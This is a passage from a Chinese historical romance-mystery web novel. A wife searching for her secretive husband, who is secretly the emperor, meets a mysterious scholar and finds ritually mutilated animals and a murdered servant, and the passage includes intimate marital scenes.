沈遥立刻上前道:“妾身是来寻夫的,听闻这几日科举舞弊案子涉及不少人,见夫君久不归家,着实忧心。” 小厮一听便明白了,这几日发生这么大的事儿,来书院寻人的家属极多。 “请问小娘子夫君姓名为何?” “时衍,时间的时,单名一个‘衍’字,衍沃绵千里的衍。” “小娘子稍等片刻。”小厮福身后便又进了书院之中。 沈遥等了许久,都没见人出来,转头无所事事地看着书院四周。心底焦躁,有些喘不上气,便直接掀开幂篱,深呼吸着城中空气。 附近有小贩推着车,无视这街道上乱七八糟的环境,直接开始叫卖起来,似乎成了某种常态。 身侧一股视线扫来,即便她没看,也能感受到那目光如吐着蛇信子一般,令人毛骨悚然,好似冰凌要戳破她喉咙。 沈遥捏了捏手,直接转头望去,在书院拐角处与一男子对上了视线。 可在她扭头时,那股阴仄仄的气息全然消失无踪,男子头顶垂下得一部分发丝,刚好完美遮住了半张脸,只剩下一只丹凤眼。他身着一袭灰白道袍,带着幞头,腰间布带,脚着麻鞋,一副寒门书生面貌。 见她看过来时,男子只是礼貌朝她微微一笑,便又退回书院之中。 沈遥还来不及多思,刚才的小厮已经走出书院,又来到沈遥面前,确认了一番,“小娘子说的人,是叫时衍?” “嗯。”沈遥点头。 那小厮不解地挠挠头,“可是,书院中并无时衍此人。我还以为是听错了,或是在名单上看漏了,可问了书院中的夫子,都无人知晓。” 天空逐渐阴云密布起来,开始飘起了小雨,本就是夏季末,秋季初的时节,起了风后,便更是让人阴冷不少。 沈遥一时怔住,蹙眉不可置信,“没有时衍此人?” 她确认了好几遍,才慢悠悠往回走。 细雨绵绵,雨水打在路边的树叶上,发出几声清脆的声响,惊动了路边小贩,行人们开始举着手,挡着雨奔跑起来。 沈遥开始从醒来后回忆着与夫君的一点一滴。 第一次看着他,他声音极为温柔,“单名一个‘衍’字,衍沃绵千里的衍,姓……时,时衍。” 叶灵知道她身份时带着吃惊的神情,“你就是时府中的那位神秘夫人!” “这个小镇!你要小心!不是你想象中那样!” “阿姐,对不起。诺诺,我爱你。” 还有许多许多,变成广玉兰的梨花树,楚绣最后留下的话语,夫君时常不知所踪的身影。 他亲口说过,他在长安城中的鹿桐书院上学。 还有,他腰后那条伤疤。 明明她记忆减退得厉害,在此刻却清楚得记得从醒来后经历的一切,甚至每个人的话语。 他对她的爱,她能深刻感受到,并非弄虚作假。 可他为何骗她? 他每日说是去上学,究竟去了何处? 她的夫君,真的是时衍吗? 沈遥心底乱麻一团,理不清线头,此时甚至想如鸵鸟一般缩起自己的脑袋,去逃避一切的虚假与不和谐。 就这样平淡地生活在葫芦镇,有什么不好吗?为何执着于某些看不清道不明的真相? 雨越下越大,等沈遥反应过来时,身子已大半被雨淋湿。 不得已,她只能和路人一样,举手遮着头跑起来。 “沈遥姑娘。”一阵声音在她身后响,转头看去,是一辆青顶的普通小马车,车上坐着刚才在书院遇到的那名男子。 沈遥没有立刻回答,只是定睛看着男子掀开车帘,朝她勾了勾手,又换了称呼,“时夫人,现雨大,时夫人想回葫芦镇?某可送夫人一程。” “你知道我?”沈遥定在原地没有动,那驾马车的马夫挥起鞭子,将马车挪了几步,定住在她面前。 男子仍微笑着,“夫人是想寻自家夫君吗?我知道,夫人上车吧,某是时衍同窗好友,自是会将夫人完好送回镇子。” 沈遥眯眼,想着刚才一路以来的困惑,又扫视了一眼只男子一人的马车。雨水随着一阵狂风吹过,她打了个寒颤,选择坐了上去。” 车帘放下后,马车开始走动起来。 车内地上放着一小暖炉,将整个车厢烤的热烘烘的。 沈遥身子虽然湿着,却也比外面舒服些许,这时她才看向面前的男子,“多谢公子,不知公子身份?” 对方淡笑着说道:“某姓秦,名木,刚才也说过,是时衍同窗。” “你说你知道我夫君去了何处?” 秦木颔首,一举一动皆极有礼,又保持着距离,“时衍已经离开鹿桐书院几月,书院中因着这段时间的科举舞弊一事换了夫子,自然不知曾经书院之中的人。” 沈遥瞬间松了口气,却仍是着急,“那他?” 秦木低着头,沉吟好一会儿,才道:“是去了太学吧,时衍功课一向出色,具体的某也不太清楚,夫人归家后自可询问。” 沈遥听闻后欣喜,“这么说,他没有卷入这起案件,如今并无危险?” “嗯,他是个聪明人,知道什么时候该做什么,该站在哪边,这样的聪明人,不容易有危险,即便有……或许也是因为自身软肋。”秦木声音温和,如夫君一般。 沈遥渐渐放下心防,“软肋?” 秦木闷笑了一声,“自然是夫人你啊。” 沈遥一听这调侃便红了脸,轻咳一声扭开头,不想看他。 秦木弓着腰,头发纹丝不动地挡着半张脸,他定定在暖炉上方烤手,“此次舞弊案涉及了最大的两个高官,分别是中书令,以及门下侍郎,还有底下一干众人。特别是中书令,三朝元老,大权在握,牵一发而动全身,如今的圣上,是日理万机,夙兴夜寐。” 见沈遥对政事不感兴趣,他又道:“此次舞弊案也影响了秋季即将到来的乡试。” 沈遥看回他,手指微顿,“这么说,夫君他很有可能无法参加此次乡试?” 秦木笑笑没说话,他掀开帘子往外一观,令马夫将车停下,“葫芦镇到了,这小路上走马车实在颠簸,今儿就先将夫人送到此处。” 沈遥一看,见马车停在了 密林小道的入口处,“这么隐蔽的入口你也知晓,这么说你来过葫芦镇?” 秦木点头,没说更多的,只是从一旁拿过一把油纸伞递给沈遥,“外面还在下雨,夫人带上这伞,回去后喝点姜汤,沐浴一番,莫要染了风寒。” 外面雨越下越大,沈遥并未推拒,将伞接过后道谢,又说:“之后我把伞给时衍,让他还给你?” 秦木摇摇头,“如今我俩不在同一处,各自忙碌,一把伞罢了,无需归还。” 话虽如此,沈遥想了想,还是掏出铜钱,见他不接,便又放置座位之上,直接撑伞下马车,往小路而去。 她走了几步后,秦木的声音又传人耳中,“沈遥姑娘,我们还会再见面的。” 沈遥脚步一滞,扭头往回看去,雾蒙蒙的滂沱大雨中,青顶小马车已走远,看不到影子。 大路上白茫茫一片,身后的小路上竟是树木遮掩,两边都不见任何阳光。 她转身踏入小路之中,在天彻底黑下来后,终于回到葫芦镇。 还未走到时府,街道上带着家丁们四处张望的锦书从远处一个箭步冲了过来,满脸焦急:“夫人去了何处?怎的现在才回来,还弄了自己一身湿,今日可真是吓死奴婢了,以为夫人又像上次一样独自出了葫芦镇。” 沈遥本想实话实说,可不知为何,她还是低下头,回避着视线道:“我四处逛了逛,结果下了雨,便在一处凉亭中躲雨,后来一直不见雨停,也只能找路人借了伞回来。” 锦书满脸狐疑,却也没有质疑她的话,只是扶着沈遥快速回了时府。 为了防止她染病,锦书马不停蹄让厨房煮了姜汤,又备了热水。 伺候沐浴时,锦书看着一直发呆的沈遥提了一嘴:“姑爷今夜应是会归家,只是回来的晚些。” 沈遥没有太大反应,只“嗯”了一声。 就寝已是亥时,沈遥一人上了拔步床,锦书为她放下帷帐便离去。 她夜晚一直都会在房中留着两盏灯,辗转反侧许久,沈遥起身,到墙角拿过今日那柄油纸伞仔细观察着。 明明一切都能说得通,她遇上了夫君同窗,也解释清了为何鹿桐书院的人不知晓夫君。 可冥冥之中,似乎就是又什么东西不对,麻花一样在她心底拧巴着。 她不知是过往夫君以及众人的行为举止,还是那秦木,让她有这样怪异的感觉。 一定有什么地方不对。 她再次撑开伞,灯火之下,她终于看到了伞上印着的图案,不大,不仔细根本发现不出来。 与曾经装着梨花的荷包一模一样。 一只白鹤。 …… 这天夜里,沈遥又做了与前几日相同的梦。 在林间的逃亡,与‘小衍’的重聚,还是个孩子的他努力地照料着自己,最后为她挡下一刀。 唯一不同的是,这一次梦境中,‘小衍’的面孔与声音比上一次更加清晰,他好似春日旺盛的青草,带着稚嫩与青涩,却有着最为坚定的意志。 他对她的称呼一直都是,“阿姐”。 后半夜,沈遥处在半梦半醒之间,隐约一股潮湿在脸颊脖颈游走,像一把沾了水的细毛刷,她被痒醒了,半眯着眼睛,在暗淡的烛光下许久没反应过来。 “醒了?抱歉,把你吵着了。”宋衍直起身子,看着身下的人儿躲在被褥中,露出一颗小脑袋,头发凌乱,双眼还微微发红。 第35章 第35章只是想让她知道,她自己…… “什么时辰?”沈遥嗓音有些沙哑。 宋衍往外一瞥刻漏,回她:“丑时末。” “怎么这么晚?” “嗯,有些事儿忙,一时没顾上你。”他心疼地揉揉她脑袋,看着有些发红的小脸,“你染风寒了?” 沈遥揉了揉自己嗓子处,“或许吧,发热了吗?” “没有。”他见她脚露在被褥外,立刻帮她揶了揶,将她裹成一只蚕蛹,“你继续睡,明早叫郎中来给你看看,有什么话我们明天说。” 沈遥迷糊着,没有完全听清他的话,便又睡了过去,缩到他怀里。 许是身旁萦绕着熟悉的气息,再次睡着后,她没再做梦,一直到早上醒来,才终于有了些力气。 睁开眼睛,她发现自己半靠在夫君胸膛前,郎中跪在床铺下方为她诊脉,夫君眼神幽幽地盯着她纤细的手腕。 待郎中将工具收好后,宋衍双眼带着些疲累后的充血,急切问:“夫人如何?可严重?” 郎中退后几步,弓着腰答:“夫人只是淋雨后小感风寒,并未发热,不严重,只需服几副药,多多修养身子,很快会好。” 宋衍紧绷的身体明显松垮下来,锦书立刻带着郎中离开寝室煎药。 沈遥看着两人将房门关好后,她声音很低问:“郎中什么时候来的?我都不知。” “来了一会儿了,你睡得沉,我也不忍叫醒你。” 这一病三日,在宋衍的精心照顾下,她都没怎的动弹过,他整日守在床前,昨夜才出去了一趟,今早又回来了。 好在是小病,除了嗓子还是有些发疼,其他却也感到很快好起来。 待郎中又一次来看过,沈遥能感受到,他这几日紧绷的情绪这才松懈下来。 他让她又躺了会儿,待药煎好,才将人叫起来,半抱在自己胸前,一边吹着一边喂她。 沈遥喝了一口便满脸皱起来,推开他的手,“郎中都说我已经好了,我再休息休息嗓子就不痛了,何须服药。” “小病不仔细着很容易拖大。”宋衍无奈笑笑,实在拿她没辙,“诺诺,若不好好喝药,我亲自喂你了。” 沈遥心不在焉地瞥他一眼,不说话,就是闭着嘴摇摇头。 宋衍也不与她多言,直接含下一口药在嘴中,沈遥还未反应过来,头便被人给掰了过去,手强硬地捏着下巴,让她无法挪动,却也不疼。 她就这样瞪着眼睛,看着这人直接亲上了自己。他娴熟地撬开她牙关,将药渡了进来。 原本苦涩的药似乎失去了某些味道,连触感都变得如绢丝般光滑,汇聚成了一股温泉上方的溪流,自上而下流进胃中,干疼的嗓子似乎也变得清凉起来。 然而眼前的人竟胆大妄为,在她喝下药后,又反口吞咽起她的唇舌,带着潺潺唾液,吮到她舌根发酸。 沈遥没有反抗的力气,推搡他许久,才将人推开,银丝在唇间拉开后,他伸手将其勾走,又放到自己口中舔尽。 夫君带着一脸色//欲地看着她,“喜欢哪种?” 沈遥气笑了,知道他在问她喜欢哪种喝药方式。她没回答,只朝他递去眼刀子。 宋衍抬手揉了揉她后脑勺的乌发,“诺诺喜欢喂,那我继续了。” “我自己喝!”沈遥没好气地从他手中抢过药碗,憋着气一口全部灌下。 她正叹息着自己就这样轻易被夫君拿捏,对面这人又倾身过来,控制住她后颈,不顾一切地吻着她。 她咬牙闭着嘴死活不愿张开,他双手将她一提,整个人趴到他身上,见她还闭着,又二话不说咬了一口她的唇。她一痛,不受控制地张开,任由面前的人胡乱发//泄占//有。 亲了许久,沈遥身子软下来,不再挣扎,双眼迷离地看着他,他见她久不换气,才终于不舍地放开。 他好像逐渐迷恋上了与她的吻,有时带着情欲,有时带着兽性,有时由上至下俯视,又时常埋于颈间乞求怜爱。 宋衍半眯着眼,享受着身体游走至颅内的胀痛。 她这刚睡醒,被狠狠吻过的模样,比起平日显得更为乖巧,更让人想欺负。 可乖巧?都是假象,她人真是从不与乖巧二字沾边儿。 “那日下雨,出葫芦镇了?” 他憋了这么多日,还是终于问了出来。 “嗯。”沈遥细若蚊音,理智渐渐回笼。 她低下头着实懊恼,没想 到又被他轻易拿捏住了,这个臭男人实在可恶。 宋衍泄愤地又咬了一口她的锁骨,在她“嘶”了一声后,他抬起头,看着上面留下的深红牙印。 他在宫里忙得焦头烂额,那日临近傍晚,锦书忽然让人传来消息,道沈遥又不见了,他当即吓了一跳,却又因着中书令的破事儿被阻。 寻了暗卫一问才知,沈遥昨日下午带着幂篱离开得悄无声息,整个镇子并没人注意到,是锦书买完糖回到茶铺后,才发现人不知所踪。 他大怒,来不及处罚这群成事不足,败事有余的废物,解决完中书令的事儿便往葫芦镇赶,好在回家后,锦书说沈遥自己又回来了,这才放下心。 可是她还是出了镇子。 在他昨夜细想后,猜到她极可能去了长安,而她去城里的原因,很可能便是科举舞弊案。 是他大意了,即便再忙,都应该给家里主动递消息才是。 他已经经历了几日几夜的不安,好在今早听闻她病情稳定后终于平静下来,原本凝固的血液在时间流逝下融化,重新开始在全身流通。 沈遥看着他的脸,说道:“我无意听人提起最近的那起案子,与科举有关,听说很多书生被捕,你两日没消息,我以为……” “对不起,诺诺。”他低头将下巴埋在她颈间,深深嗅闻她身上的体香,短小的胡渣没有被清理干净,有些扎人,见她肩膀一耸,又到她耳边轻轻呼着热气,“我应该递消息回来的,是我的错。” 没想到他认错认得这么快,沈遥顿时没了脾气与手段,不知该说什么。 宋衍趁热打铁,声音哑哑的,“下次不会了,真的,我发誓!” 沈遥“哼”了一声,扭开头,又挡住自己被他扎了的脖颈,“你倒是好,人不在鹿桐书院了也不与我说。” 宋衍一怔,很快明白过来,她去过鹿桐书院,还从那儿知晓了自己没有在书院中的事实。 他脑子转得很快,一个翻身将她压下,居高临下看着她,抢先一步说:“我错了!以后真不会了,我有任何事儿都告诉你!真的!” 沈遥躺在床上,头发彻底散开,刚睡醒不久,眼睛还有些湿润,因着刚才的拉扯,身上的寝衣被拉开些许。 她却始终不愿表现出弱势一方,梗着脖子道:“你真没骨气,嘴里只会认错吗?” 宋衍隔着单薄的寝衣,贴着她身子,面孔带着淡然,“在你面前,我要什么骨气,骨气这东西能让阿姐多睡我么?” “你!”沈遥脸瞬间气红了,浑身热得不行,“够了啊,时衍!你别这么浪荡!” “老夫老妻了。”他捋了捋贴在她鼻尖的发丝,“那你想要我如何?才能原谅我。” 沈遥随意道:“解释,我要听你解释。” 宋衍思考不过弹指,便张口道:“我去了太学,所以便没在鹿桐书院了。” 太学…… 沈遥一怔,想到秦木口中的话,与他说的一样,这么说,真是去了太学。 可是秦木与那白鹤的图案,究竟有何关系?还有之前的梨花,究竟是秦木授意?还是巧合? 所有的一切似乎越理越乱,让她有些头疼。 “在想什么?”宋衍侧过身,将沈遥一整个捞过抱在怀中。 沈遥没有说出自己的真实想法,只问他:“那这次的案子,对你有影响吗?” “嗯。”宋衍张口就来,“秋季乡试或是要取消,读书人每年能参加科举都不容易,而太学在大周的意义不同于私学,所以前两日都在忙着和同窗夫子们做着工作,将请求上达天听,希望今年乡试的如期举行。” “真的可以吗?” “是希望。若国子监的人都不出面,便无人可出面了。” 沈遥点点头不再多想。 宋衍紧了紧怀抱,笑盈盈地看着她,手开始往下乱动起来,“可这案子不简单,接下来一段时日还是有的忙。” 沈遥听着他的话又是一怔,抿着唇不说话。 面前的人更加猖狂起来,水声渍渍,她扭了扭,呼吸乱了起来,许久后,看着他抬起那只乱动的手,倏然浪荡地含到口中,她整个人似乎都炸开了。 “你!你!你从哪儿学的?” “这种事儿,还用学啊。” 说完后,他俯下身来吻沈遥,她吓得挣扎起来,拼尽全力地推着他,扭开头,他的吻只落在了她侧脸上。 “你不许亲我,除非去漱口。” “我都不嫌弃,阿姐怎会嫌弃?”他咧嘴笑了起来,继续试图亲她。 沈遥不停扭头躲避,最后抬手捂住他的嘴,脸都气红了,有气无力,“我就是嫌弃,不行吗?” 他声音闷闷地从她指缝间传出,“行,你说什么都行。” 明明如此美味甘甜,他只是想让她知道,她自己有多好吃,多诱人。 嘴上这般说着,他又伸出舌头舔了下她手心,沈遥瞬间头皮发麻。 她还是不敢放下手,“你快去漱口!我还病着呢!你怎么能这样!” “哼。”宋衍懒懒笑着,“那你该喊我什么?” “时衍!” “不对!”说完,他又试图继续倾身,拉她的手腕。 “夫君!夫君!这样总行了吧!”沈遥吓得都快哭出来了,没骨气的人最后成了自己。 宋衍终于满意地翻身离开,带着一副餍足的神情,叫了锦书领人进来伺候。 沈遥背对着他,将整条被褥蒙住头,想着他刚才那副浪荡模样,越想越气,越想越羞。 这个人!怎么可以!臭不要脸! 他也不弄她了,上前将人抱在怀中,轻轻拍着她后背哄着睡了一觉。 也不知多久,当她掀开被褥往外看去时,宋衍早已恢复了平日在外人面前冷淡的神情,南风站在他面前不知说着什么,声音很小,可他面色却愈发严肃。 没过多久,宋衍回到床边,吻了吻她的额头,又揉了揉她的脸,温柔道:“太学那边有要事,我得离开一趟,接下来几日或许都不会回来,诺诺一人在家可以吗?” 沈遥心口闷闷的,却还是点头让他快去,最终也没有问出他后腰那道疤痕。 他昨夜出去过一趟,回来的很快,后来一整晚没换衣服。 在他转身时,她视线敏锐在后领处看到几滴红色,有些开始发黑,很明显,那是血迹。 她怔住,她的夫君既是书生,那血迹从何而来? 难道这次案子严重到,已经有人在他的面前流血了吗?那为何他又能如此淡然,什么也不与她说? 眼前白雾变得愈发厚重,正在与锦书交代照顾事宜的他,模样似乎也渐渐模糊不清,声音忽远忽近,紧接着有些耳鸣,脖颈血管跳动得厉害。 他着急离去,交代完后又看了她一眼,便大步迈出门槛。 很快,房间空荡下来,那团白雾似乎充盈了整个心脏,遏制着呼吸,无论如何也难以驱散。 …… 本只是普通的风寒,以为差不多好了,沈遥没想到,仅是去院中练了一上午功夫,自己的病竟愈发严重起来。 从嗓子轻微发疼,到咳嗽,到如今又一次发了热,躺在床上四肢无力。 沈遥沉睡了一整个白天与黑夜,醒来后,就能闻到那股带着青草的冷 香,猜到原本说好忙碌的人定回来过,只是刚离开。 她每日按时吃药,遵循着医嘱抽出时间在庭院中散步。 可病来如山倒,病去如抽丝,多日过去,也没见太多好转。 这日,锦书煎药时,沈遥一人回了屋子,发现自己案几上多了一个从没见过的锦盒。 不知是何人放在此地。 她没多想,直接将锦盒打开,整个人却猛然吓得坐在了地上,半晌发不出声音。 只见锦盒中是一只橘猫的尸体,鲜血被人抽干,内脏掏空,两只眼眶成了窟窿,变得干瘪又恐怖。 她立刻站起身,疯了一样跑到床边,见到小橘伸展,翻着肚皮,发出咕噜的声音后,又立刻抓起她的前脚掌查探,见到其中一只只有三个指头,才暂且呼出一口气。 沈遥甚至不敢转身去看那锦盒中的野猫尸体,直到锦书端着药入内,见到那尸体后陡然大叫起来:“啊——” 药打翻在地,得重新煎了。 锦书跑到她跟前,震惊道:“这是哪里来的?夫人还好吗?” 沈遥勉强地点点头,着实不解,当初时府那个虐待动物的人,是楚绣的母亲朱氏,为何如今又出现了这样的尸体? 朱氏和楚绣两人不是被发卖了么?难道不仅仅有朱氏,还有别人?那人将尸体放到她跟前的目的又是什么? 有人在恨她? 仅仅只是想吓唬她?为何? “快拿出去找个地方好好埋了。这件事儿别声张,私下去查,定要将时府这人查出来!” 沈遥的嗓音还是沙哑着,指尖止不住颤抖,她想到什么,又说:“我给时衍写封信,告知此事,你派人送去长安。” “是,夫人。” 第36章 第36章对他的一种挑衅 是夜,沈遥回到府中后却还是因着白日的场面精神恍惚。 锦书将煮过的白水倒了一些出来,递给沈遥,“夫人这些时日嗓子可算好些了,但郎中说每日还是得喝够足量的水。” 沈遥接过后轻抿,眨了下眼,“锦书,你在水里放糖了?” “没有啊。” “这水好像变甜了。” “是吗?”锦书拿过一个空杯,重新倒入水喝了几口后摇摇头,“没有啊,这水不还是和从前一样。” “怕不是夫人这些时日喝太多药,如今吃什么都是甜的。” “或许吧。”沈遥想也是,将喝完的空杯递回。 锦书正想给沈遥再倒一杯时,没想到一时恍惚,水竟浇了自己一手,“诶呀。” 沈遥见状立刻掏出帕子递给她将水渍擦净,“你这几日好像很累啊。” 锦书强撑着摇摇头,“还行。” 沈遥:“你早些去歇息,今夜别守着我了,反正时衍这几日都不回来。” 见她这么说,锦书也不好拒绝,便点上熏炉,而后起身离开房间,将门关好。 彼时也开始下起了雨。 人生病后,便更容易多愁善感起来。 沈遥没有亲生父母,兄弟姐妹,没有任何记忆,对远在扬州的义父义母极为陌生,虽偶尔书信往来。 整个时府到现在除了风和雨,仍是寂静无声。 夫君总是很忙,又总是什么都不与她细说。 今年雨水比往年异常多,入秋之际,屋外连绵不绝的雨伴随着凉意,她半夜冻醒后,不愿将锦书叫过来。 毕竟小丫头这些时日为了照顾她也是尽心竭力。 支摘窗还开着,许是下人忘了关。 她自个儿起身到窗子前,却没想到屋外狂风大作,身体虚着,费了好大力才将其合上。 可这般费事后,身上的寝衣又被雨水打湿,头发丝也黏腻在脸颊上。 从柜子中翻了一件厚实的衣裳换上,又开始寻找多余的被褥,她无意扫过被压在最下方的那柄雨伞,拧着眉头,最后还是选择继续将其无视。 多余的被褥被放在最高处,她搬来椅子站上去,踮着脚却还是拿不到,对自己顿时无语。 无力感骤然席卷全身,好像没有别人,她什么都做不成。 她忽然发觉,不知从何时开始,她学会了压抑自己,克制情绪,隐藏心绪。 不再试图什么都与夫君或是锦书倾诉,好似从某个时间节点开始,她虽然看似与夫君距离越来越近,甚至有了肌肤之亲,可她与时府,与整个世界,又产生一条巨大的鸿沟。 至于那是什么,即便她时常询问自己,她也始终说不清,她也不知自己在犟什么。 她如今所有的认知都来自于他,她对他的依赖程度或许超乎想象。 可当身边出现数不清的疑点,她唯一可以依赖的人变得难以信任之后,她在这个陌生的世界上,还能相信什么? 她的生活也是从何时起,开始变得小心翼翼,伴随着自己是沉重包袱的自我厌弃,与逃避,寂寞,恐惧,全部交织一起,形成了一张复杂而混乱的蛛网。 而她是被蛛网所缠住的蛾子,毫无动弹之力。 沈遥看着够不到的被褥,最后压着情绪,跳跃了一下试图去够,却倏然踩空,整个人从椅子上摔了下来。 “啊!” 一阵钻心的疼痛从脚踝传来,她低呼一声,提了提裤腿,那处已发红,是扭了脚。 沈遥低着头,面无表情地撑着椅子站起,默默地一瘸一拐坐到床上,按压着脚踝。 猫儿还在床上一无所知地呼呼大睡,不谙世事的模样让人格外羡慕。 小橘虽然与她都一样,住在时府中,被好好细心地养着,吃穿用度全依赖着别人。可猫儿的世界很单纯,脑子愚笨,所以对事物的期许便少了很多,吃饱喝足便已足够幸福。 可生而为人,却承受着多变又复杂的情绪,看得越多,对周围的期盼也越多,也更容易产生失落。 沈遥听着屋外噼里啪啦的雨声与暴风,骤然间,关好的窗户又被那阵风给吹开。摇摇欲坠,发出吱呀吱呀的声响。 她眼睛酸涩起来,却闷声不吭,只是定定看着窗外天际裂开的口子,以及侵袭而来的雨幕。屋外雨声吵得闹人,却更显得时府空荡。 身旁的小橘注意到她动静,走上前轻轻“喵”了两声,又蹭蹭她。 她抬头看着猫儿,又抬手将蹭着自己的小橘抱到怀中。她收紧怀抱,庆幸身旁有着小橘的陪伴。 空荡而巨大的拔步床中,烛火颤颤巍巍地摇曳着,沈遥睁着眼睛许久,最后才终于在雨停的晨光中彻底睡去。 沈遥第二天除了喝药,一直拉着帷帐不愿见人,好似什么都没发生。 锦书也只以为她是疲惫,便不多打扰,让她在房中睡了许久。 沈遥终于病好是在一周后,这一周的时间里,都没见过夫君,只递回一封书信,叫她不用担忧那虐猫之人,他已吩咐下去在查。 这个骗子。 沈遥打起精神,一同着手查起府中另一个手脚不干净的人,却没有任何线索。那人似乎只做了这一次,便隐匿起来。 暴雨之后的天气总是格外好,这样的日子她都会出街去逛逛。 等待锦书排队之时,脚步声噔噔从身后传来,她转身,是锦书又着急忙慌地走回来,手中没有任何东西。 “怎么了?” “夫人!跟我来!”锦书眼中带着惊慌与不可置信。 沈遥跟随她往一处墙根走去,此时面前已经聚满了群众,都这低着头互相交谈着,指指点点。 锦书拨开人群,“让让——” 沈遥终于站到最前方,可面前的场景踩痛了她的神经,差点儿吐了出来。 只见面前排列整齐着不同动物的尸体,有老鼠,松鼠,猫,狗,它们相同的共通性便是,都被抽干了血,掏空了内脏,干巴巴地晾晒着。 “所以……不仅时府有做这事儿的人,葫芦镇中也有。”她此刻有些后悔,自从发卖了朱氏后,锦书前些时日想再去寻人,却没了任何消息,如今遇到这壮烈的场景,也找不到人发问。 “锦书,去叫官府来查。” 锦书忧疑道:“官府会管这事儿吗?毕竟死的只是动物。” 说的倒也是实话。 沈遥背过身,不忍目睹此番场面,开始细细回忆着当初抓朱氏 的一举一动。 “血鬼!”沈遥忽然想起来,当时朱氏房间,有一张未被烧尽的纸,上面写着血鬼二字。 而后来,第一次出葫芦镇时,她在路边茶铺听人聊天,也提起过血鬼。 锦书没能理解:“夫人是何意?” 沈遥道:“你与官府说,当初时府抓住的那虐杀动物之人,与所谓的血鬼有些关系。如今世道动乱,这么庞大的屠戮,或许有人想借机生事,利用此事对皇室或是整个大周造成不利影响。” “你在他们面前,定要扩大这件事的影响力,若是此事涉及皇室朝廷,官府的人就算不想管,也得管。” 锦书眼睛一亮,立刻应下沈遥嘱托。 两人从时府又叫了些家丁,一同将尸体找了块好地,全部掩埋。 她也亲自动手,结束回到时府后一身灰头土脸。 沈遥看着阴沉的天,嗅到了不同寻常,这次的这些行动,看来并非针对她一人。可她始终不解,府中那人将尸体放到她面前的目的,究竟为何。 …… 短短一月内,整个大周发生太多事。 先是科举舞弊案发生,连日暴雨后又是各地洪涝灾害,正是即将秋收的时节,庄稼被水淹过后死了不少,紧接着爆发了小范围灾荒。 宋衍已连续多日未能休息,终于处理完手头事宜。 他再一次拒了沈芯的求见,南风也恰巧匆匆赶来。 “陛下!” 宋衍捏着眉心,顿感疲惫乏力,“怎么?长安城内动物集体死亡,有眉目了?” 南风点头,“今日,原本从狱中逃跑了的朱氏突然出现在长安闹市,大喊着动物集体死亡的源头是血鬼出现,而血鬼又与当今天子失德相关。所以才会出现这科举舞弊案和洪涝。” “而这仆妇引起了好些人的注意,又说自己右手被砍,都是因为天子要杀她拿来祭祀血鬼。” 宋衍扯了下嘴角,“你们没抓住人,又叫她跑了?” 南风一哽,立即补救道:“人是跑了,不过刚才有消息传来,朱氏在城外一处山林又出现了,还是与两名男子同行。” “朱氏……”宋衍垂眸咬牙。 前些日子,他收到沈遥的书信,告知了时府发生的虐杀动物一事。让他最无法容忍的,便是那人如此嚣张,竟将尸体送到沈遥面前。 这个人知道他的身份,也知道葫芦镇隐藏的真相,此番形势,更像是对他的一种挑衅。 他第一个想到的线索,便是当初被关入地牢后又不知如何逃跑了的朱氏母女。可一个仆妇,一个丫鬟,竟叫身为皇帝的他找不到踪迹,如此便是更加可疑。 背后之人实在吃了熊心豹子胆,待抓住,他定要亲手了结,给沈遥出气。 宋衍眯着眼睛,看向南风,满是阴冷与戾气,“人在哪儿发现的,朕这次亲自去追。” …… 今日出了暖阳,天气还算好,沈遥来了练剑的兴致。 还未耍完一套剑法,没过够瘾,管事全叔来了内院,福身恭道:“夫人,时府来了客人,说是时爷的同窗好友。” 沈遥收起剑,“可是时衍如今不在府上,你可有告知与他。” “说了,可那人说想见见夫人。” “见我做甚?”沈遥脑海中浮现出一种预感。 全叔果然道:“他说他叫秦木,之前遗留了一把雨伞在夫人这里,想要来拿回。” “雨伞?什么雨伞?”锦书先是满脸疑惑地转眼睛,而后不解地看着沈遥,通过全叔的话,心里打起了鼓。 她万分忐忑,“夫人,你又有外遇了?” “什么叫又!”沈遥无奈朝着她脑壳来了一下,“你这脑袋瓜里整日都想些什么!” 她抿唇,沉吟不语,片刻后回道:“让秦木在中堂等我,我稍后就来。” “是,夫人。”全叔领命告退。 锦书跟在沈遥身后,小跑着跟上在她身侧,满脸的怪异藏不住,“夫人,你真要去见男人?” 沈遥无奈翻了个白眼,“你跟着我去不就好了?” 锦书:“啧啧。” 沈遥回到寝室中,很快便翻出了那柄油纸伞。 上次告别时,秦木明明亲口说无需她将伞归还,而她也确实留下了铜钱。 如今秦木来此地,正好她也想问问,伞上的白鹤,究竟何意。 带着伞和锦书,沈遥一路来了中堂。 秦木背对她,站在正中,身上仍然穿着之前那袭深灰色道袍。听到声音后,便转了过来,垂落的前发依然挡着半张脸,另一只丹凤眼带着儒雅,他朝她一笑。 “我就知,夫人会见我的。” …… 山林中,一行人来到了朱氏出现过的地点。可是此处已找不见那两名男子,只剩下,已经死亡的朱氏。 朱氏的尸体是在一处低谷中被发现,发现时已经被野兽吃的只剩下头颅和一半的躯干。 野兽? 怎么可能是死在野兽口中,恐怕是失去了利用价值,又知晓太多东西,被杀人灭口罢了。 京兆尹一脸殷勤,躬身跟随在宋衍身后,上前说起这案件,“陛下,这朱氏尸体,是半个时辰前,一入山砍柴的樵夫所发现的。据调查,朱氏母女当初逃跑后,一直在山中躲藏,后来遇到一瓷器商贾人家,或许想着这俩是黑户不用钱,便带回家中做仆妇丫鬟。” “后来朱氏因犯下盗窃罪,那家人忍无可忍,抓到官府后受了杖刑。我们找到那家人,据悉,后来是有人出了高价,将朱氏买走,而买走人的是一对主仆。至于朱氏之女,在朱氏被买走前便又跑了,后来一直没有线索。” 南风问:“他们可还记得买走她的那两人样貌?” 京兆尹道:“那个下人身高八尺,十分健壮,却是样貌平平,没什么特色,能看得出来,是个功夫极好的。而至于其主,人牙说仅仅在风吹起车帘时瞟过一眼,那人最明显的特征,是前发散落,遮住半张脸。” 宋衍沉吟着,不知想到什么,脸色瞬间黑了下去,“半张脸……” 验尸的仵作走上前,行礼后回禀:“陛下,小的已验完。死者并非死于野兽撕咬,野兽只是为了掩盖某些痕迹。” “其真正死因是,被捆绑后放干鲜血所致,虽然只剩最后一些尸块,可是从明显的切割痕迹来看,死者濒死之时,被掏空了内脏。” …… “时夫人,既有客来,是否应该备茶点?”秦木看了一眼沈遥身后的锦书,笑眯眯地说。 沈遥不解,“妾身以为,公子只是来要伞的。” “要伞只是找的借口罢了,这点小伎俩,时夫人怎么识不破?”秦木见她没动静,又道:“夫人,有些话,某只想告知夫人一人,不想叫他人知晓。” “关于时衍。” 